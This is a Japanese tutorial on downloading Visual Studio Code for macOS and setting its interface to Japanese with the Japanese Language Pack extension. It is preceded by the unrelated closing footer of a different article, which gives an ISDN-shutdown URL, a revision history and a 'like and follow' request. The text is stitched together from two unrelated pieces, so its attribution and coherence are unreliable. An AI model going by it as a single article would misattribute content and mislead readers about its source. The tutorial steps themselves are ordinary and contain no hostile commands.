https://orenocloud.tokyo/cloudinfo/useful/2024issueISDNnowreadytoend.html


# 文書履歴(document history)
ver. 0.01 初稿 20200226
ver. 0.04 URL追記　20230305

### 最後までおよみいただきありがとうございました。

いいね　💚、フォローをお願いします。

####  Thank you very much for reading to the last sentence.

Please press the like icon 💚　and follow me for your happy life.
【解説】『VSCode』を日本語化する【Mac】

##実行環境
macOS 10.14.6

##（参考）『VSCode』のダウンロード

<img width="1440" alt="vscode_1.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/255884/6b3bc84d-894e-29ef-aecd-0e44c72d1f13.png">

__*※参考までに、『VSCode』のダウンロード方法を解説します。*__

下記の３つのステップになります。

1. __ダウンロード__
2. __zipを解凍__
3. __フォルダの移動（おまけ）__

###Step①：ダウンロード

下記のリンクから、『VSCode for Mac』をダウンロードする。

https://code.visualstudio.com/

###Step②：zipを解凍

ダウンロードフォルダにある…

`VSCode-darwin-stable.zip`

を解凍する。

###Step③：フォルダの移動

解凍が終わったら…

`ダウンロードフォルダ`から`アプリケーションフォルダ`

に『Visual Studio Code』のアプリを移動しましょう。

>アプリケーションフォルダに移動させると、Launchpadから起動できるようになるので、便利です。

以上で、__『VSCode』のダウンロードは完了__です。

##『日本語化』の設定作業

下記の２つのステップになります。

1. __プラグインのインストール__
2. __『VSCode』の再起動__

###Step①：プラグインのインストール

『VSCode』を起動し、起動したTOP画面左側のアイコンメニュー内の、

一番下のアイコンをクリックして下さい。

<img width="1437" alt="vscode_2.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/255884/6086c1b3-ec8c-721d-80eb-6e551c2d5a09.png">

すると・・・

MARKETPLACEのサーチメニューが表示されるので、入力欄に…

~~~
Japanese Language Pack for Visual Studio Code
~~~

を入力しましょう。

<img width="1325" alt="vscode_3.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/255884/e1c2a89f-40cf-f7ab-e3d9-7862681cd4a4.png">

そして・・・

`Japanese Language Pack for Visual Studio Code`

のプラグインが表示されるので、__『Install』ボタン__を押して、インストールしましょう。

###Step②：『VSCode』の再起動

プラグインの有効化には、『VSCode』の__再起動__が必要になるので…

`Restart Now`

を選択して、再起動します。

![vscode_4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/255884/fa9ac3de-7d64-3451-adbf-3ea8276c21cb.png)

再起動すると…

以下のように日本語化されているかと思います。

<img width="1439" alt="vscode_6.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/255884/6a1c478e-162d-9e32-2596-e599bf038fcc.png">

以上で、__『VSCode』の日本語化は完了__です。